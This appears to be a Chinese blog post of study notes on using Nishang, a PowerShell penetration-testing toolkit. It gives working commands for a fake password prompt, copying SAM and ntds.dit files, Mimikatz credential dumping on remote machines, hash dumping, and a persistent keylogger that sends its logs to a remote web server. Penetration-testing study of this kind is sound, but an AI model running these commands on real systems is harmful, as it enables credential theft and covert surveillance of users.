《web安全攻防》学习笔记之Nishang
文章目录
1、简介
Nishang是一款针对PowerShell的渗透工具。它基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。其下载地址是https://github.com/samratashok/nishang
Nishang要在PowerShell 3.0以上的环境才可以正常使用,也就是说在Windows7默认是有问题的,因为Windows下自带的环境是PowerShell 2.0
2、Nishang导入与帮助获取
(1)在使用Nishang前,必须在Powershell中导入Nishang模块,进入Nishang所在路径,输入以下命令:
Import-Module .\nishang.psm1
(2)导入模块后输入Get-Command -Module nishang 命令查看nishang都有那些模块
(3)以上是完整导入nishang的所有模块,如只想导入某一模块(如:Get-Information):
Import-Module .\Gather\Get-Information.ps1
导入完成后,即可运行命令:Get-Information
。
(4)查看命令帮助,以Get-Information为例:
Get-Help Get-Information -full
(5)Nishang的模块及其功能
(6)一个小点,我们可以在powershell中使用Out-File将执行结果导出到文件中,命令如下图所示:
PS D:nishang-master> Get-Information | Out-File res.txt
这样,就把获取到的信息保存在res.txt里了!
3、Nishang模块攻击实战
1 Check-VM
该脚本用于检测当前的机器是否属于一台已知的虚拟机。它通过检测已知的虚拟机。他通过检测已知的一些虚拟机的指纹信息(如Hyper-V、VMware、Virtual PC、Virtual Box、Xen、QEMU)来识别。如图,这是一个hyper-v的虚拟机。
2 Invoke-CredentialsPhish
这个脚本的作用是欺骗目标主机的用户,让用户输入密码,在实际使用中读者可以充分发挥想象力来灵活应用。
该脚本的功能很强大,因为不输入正确密码就关闭不了对话框,只能强制结束进程,就可以成功得到明文的管理员账号密码。(实不相瞒,我就是强制关闭的那位,因为我忘记了自己的账号和密码)
3Copy-VSS
这个脚本利用Volumn Shadow Copy 服务复制sam文件,如果这个脚本运行在了DC机上,ntds.dit 和 SYSTEM hive 也能被拷贝出来。
PS > Copy-VSS #将直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir c:temp #指定保护文件的路径(必须是已经存在的路径)
4 FireBuster FireListener 扫描器
用于对内网进行扫描,打开本地监听,然后远程传送数据,把包发给FireListener。
首先在本机输入以下命令运行FireListener
FireListener 130-150
接着在目标机输入以下命令
FireBuster 192.168.12.107 130-150 -Verbose
5 Keylogger键盘记录
Nishang的键盘记录非常强大,首先查看这个模块的帮助文件,输入 Get-Help .\Keylogger.ps1 -full
可以看到这里给出了四种执行方式,具体命令如下所示:
PS >.\Keylogger.ps1 #使用这种方式运行,键盘记录会保存在当前用户Temp目录下的Key文件中
PS >.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis #-CheckURL参数会检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在就停止使用记录
PS >.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php #将记录指定发送给一个可以记录Post请求的web服务器
PS >.\Keylogger.ps1 -persist # 实现持久化记录(重启后依然进行记录)
接下来详细展示第一种方法,直接执行Keylogger.ps1命令,默认会在Temp目录生成一个key.log文件。
然后输入以下命令,使用Nishang Utility 中的Parse_keys来解析,parsed.txt里就会出现解析后的按键记录
PS >Prase_Keys .key.log .parsed.txt
6 Invoke Mimikatz
用于抓取密码,基本使用语法如下:
Invoke-Mimikatz -DumpCerts ##Dump出本机的凭证信息
Invoke-Mimikatz -DumpCerts -ComputerName @(“computer1”,“computer2”) ##Dump 出远程的两台计算机的凭证信息
Invoke-Mimikatz -Command "privillage::debug exit" -ComputerName "computer1" ##在远程的一台机器上运行Mimikatz并执行 "privillage::debug exit"
7 Get-PassHashes
这个脚本在Administrator的权限下可以Dump出密码哈希值,来源于Metasploit中的Power Dump模块,但在其基础做出了修改,使得不再需要system权限就可以Dump了。 获取hash
8 获取用户的密码提示信息
这个脚本可以从Windows获得用户名密码的提示信息,需要用Administrator的权限来读取sam hive。可以根据提示信息生成密码字典,能大大提高爆破的成功率。甚至有相当一部分人会将明文密码记录在这个提示信息中。输入以下命令,可以看到提示信息:密码
Get-PassHints
未完,待续。。。
详情期待 Nishang (二)